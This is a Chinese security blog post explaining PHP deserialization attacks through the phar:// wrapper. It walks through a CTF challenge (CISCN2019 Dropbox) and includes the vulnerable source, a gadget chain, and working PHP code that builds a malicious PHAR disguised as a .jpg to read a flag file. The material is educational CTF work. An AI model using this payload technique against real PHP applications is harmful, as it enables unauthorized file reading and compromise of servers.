利用PHAR协议进行PHP反序列化攻击

百家 作者:锦行科技 2021-06-28 11:09:11

PHAR (“Php ARchive”) 是PHP中的打包文件,相当于Java中的JAR文件,在php5.3或者更高的版本中默认开启。PHAR文件缺省状态是只读的,当我们要创建一个Phar文件需要修改php.ini中的phar.readonly,修改为:phar.readonly = 0

当通过phar://协议对phar文件进行文件操作时,将会对phar文件中的Meta-data进行反序列化操作,可能造成一些反序列化漏洞。

本文由锦行科技的安全研究团队提供,从攻击者的角度展示了PHAR反序列化攻击的原理和过程。



1

PHAR文件结构

stub phar:文件标识,格式为xxx<?php xxx;__HALT_COMPILER();?>,该部分必须以 __HALT_COMPILER();?> 进行结尾,否则将无法识别,前面的内容无限制要求。


manifest:压缩文件的属性等信息,其中的Meta-data会以序列化的形式存储。

contents:压缩文件的内容

signature:签名,放在文件末尾


2

生成PHAR文件

生成程序如下:

<?php
Class Test{
}
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");    //设置Stub
$o = new Test();
$o -> data='test';
$phar -> setMetadata($o);    //设置Meta-data
$phar -> addFromString("test.txt", "test");    //添加要压缩的文件
//签名自动计算
$phar -> stopBuffering();
?>


生成phar文件,使用16进制工具查看,可以看到Meta-data中的序列化对象



3

测试反序列化

测试程序如下:

<?php 
class Test{
    function __destruct(){
        echo $this -> data;   //对象销毁时执行
    }
}
include('phar://phar.phar');
?>


运行结果,可以看到打印了‘test’,证明对象被反序列化创建后销毁。

虽然在创建PHAR文件时后缀是固定的,但完成创建后我们是可以修改phar的后缀名的,例如修改成.jpg,当执行include('phar://phar.jpg');时也可触发反序列化。


几乎所有文件操作函数都可触发phar反序列化



4

CTF演示

题目地址:[CISCN2019 华北赛区 Day1 Web1]Dropbox(链接:https://buuoj.cn/challenges#%5BCISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web1%5DDropbox


进入题目后,随意注册账号上传文件,上传点只能上传图片后缀

点击下载,有任意文件读取,但是不能读取flag.txt


于是读取网页源码,传入filename=../../xxx.php

detele.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
   header("Location: login.php");
   die();
}

if (!isset($_POST['filename'])) {
   die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename)) {
   $file->detele();
   Header("Content-type: application/json");
   $response = array("success" => true, "error" => "");
   echo json_encode($response);
} else {
   Header("Content-type: application/json");
   $response = array("success" => false, "error" => "File not exist");
   echo json_encode($response);
}
?>


class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
   public $db;

   public function __construct() {
       global $db;
       $this->db = $db;
   }

   public function user_exist($username) {
       $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
       $stmt->bind_param("s", $username);
       $stmt->execute();
       $stmt->store_result();
       $count = $stmt->num_rows;
       if ($count === 0) {
           return false;
       }
       return true;
   }

   public function add_user($username, $password) {
       if ($this->user_exist($username)) {
           return false;

       }
       $password = sha1($password . "SiAchGHmFx");
       $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
       $stmt->bind_param("ss", $username, $password);
       $stmt->execute();
       return true;
   }

   public function verify_user($username, $password) {
       if (!$this->user_exist($username)) {
           return false;
       }
       $password = sha1($password . "SiAchGHmFx");
       $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
       $stmt->bind_param("s", $username);
       $stmt->execute();
       $stmt->bind_result($expect);
       $stmt->fetch();
       if (isset($expect) && $expect === $password) {
           return true;
       }
       return false;
   }

   public function __destruct() {
       $this->db->close();
   }
}

class FileList {
   private $files;
   private $results;
   private $funcs;

   public function __construct($path) {
       $this->files = array();
       $this->results = array();
       $this->funcs = array();
       $filenames = scandir($path);

       $key = array_search(".", $filenames);
       unset($filenames[$key]);
       $key = array_search("..", $filenames);
       unset($filenames[$key]);

       foreach ($filenames as $filename) {
           $file = new File();
           $file->open($path . $filename);
           array_push($this->files, $file);
           $this->results[$file->name()] = array();
       }
   }

   public function __call($func, $args) {
       array_push($this->funcs, $func);
       foreach ($this->files as $file) {
           $this->results[$file->name()][$func] = $file->$func();
       }
   }

   public function __destruct() {
       $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
       $table .= '<thead><tr>';
       foreach ($this->funcs as $func) {
           $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
       }
       $table .= '<th scope="col" class="text-center">Opt</th>';
       $table .= '</thead><tbody>';
       foreach ($this->results as $filename => $result) {
           $table .= '<tr>';
           foreach ($result as $func => $value) {
               $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
           }
           $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>';
           $table .= '</tr>';
       }
       echo $table;
   }
}

class File {
   public $filename;

   public function open($filename) {
       $this->filename = $filename;
       if (file_exists($filename) && !is_dir($filename)) {
           return true;
       } else {
           return false;
       }
   }

   public function name() {
       return basename($this->filename);
   }

   public function size() {
       $size = filesize($this->filename);
       $units = array(' B', ' KB', ' MB', ' GB', ' TB');
       for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
       return round($size, 2).$units[$i];
   }

   public function detele() {
       unlink($this->filename);
   }

   public function close() {
       return file_get_contents($this->filename);
   }
}
?>


分析源代码


可以看到删除文件时使用了File类的delete函数,File类的delete使用了unlink函数,可以触发phar反序列化。


继续看到class.php的File类的close()函数中调用了file_get_contents函数,可以读取文件。但是要怎么触发呢,我们可以看到FileList的__call函数,如果我们可以让FileList参数files为数组且数组中一个类为File,只要有类可以执行$FileList->close(),就可以读取文件并在FileList的析构函数中显示出来了。我们看到User类的析构函数,执行了$db->close()。so,我们让User的$db参数等于FileList就行了。


利用链:User类的$db赋值为FileList类,User类的析构函数执行close方法->触发FileList的__call函数,让$file值为File,执行$file的close函数->File执行close读取文件,控制$filename为想读取的文件->FileList对象销毁,执行析构函数,回显结果。


生成phar文件代码

<?php
class User{
   public $db;
}

class File{
   public $filename;
   public function __construct($filename){
       $this->filename = $filename;
   }

}

class FileList{
   private $files;
   public function __construct(){
       $this->files=array(new File('/flag.txt'));
   }
}

$user = new User();
$user->db = new FileList();
$phar = new Phar("phar.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?>");
$phar -> setMetadata($user);
$phar->addFromString("test.txt", "test");
$phar -> stopBuffering();
?>


生成phar文件,修改后缀为jpg,上传
删除文件处修改filename为‘phar://phar.jpg’,读取到flag文件



推 荐 阅 读






关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接